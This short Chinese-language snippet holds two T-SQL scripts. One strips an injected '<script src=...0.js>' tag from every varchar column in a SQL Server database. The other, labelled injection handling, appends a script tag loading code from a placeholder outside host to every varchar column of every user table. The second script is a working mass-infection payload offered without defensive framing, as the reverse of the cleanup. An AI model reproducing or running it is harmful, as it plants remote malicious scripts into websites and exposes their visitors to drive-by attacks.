如何批量 删除/添加 数据库中被注入的代码？

 

 

DECLARE @fieldtype sysname

SET @fieldtype='varchar'

--删除处理

DECLARE hCForEach CURSOR GLOBAL

FOR

SELECT N'update '+QUOTENAME(o.name)

    +N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://xxxx.com/0.js> </script>'','''')'

FROM sysobjects o,syscolumns c,systypes t

WHERE o.id=c.id

    AND OBJECTPROPERTY(o.id,N'IsUserTable')=1

    AND c.xusertype=t.xusertype

    AND t.name=@fieldtype

EXEC sp_MSforeach_Worker @command1=N'?'

 

 

 

--注入处理

DECLARE @fieldtype sysname

SET @fieldtype='varchar'

DECLARE HCFOREACH CURSOR GLOBAL

FOR

SELECT N'update '+QUOTENAME(o.name)+N' set '+ QUOTENAME(c.name) + N'=' + QUOTENAME(c.name) + '+''<script src=http://XXXX/0.js></script>'''

FROM sysobjects o,syscolumns c,systypes t

WHERE o.id=c.id

    AND OBJECTPROPERTY(o.id,N'IsUserTable')=1

    AND c.xusertype=t.xusertype

    AND t.name=@fieldtype

EXEC sp_MSforeach_Worker @command1=N'?'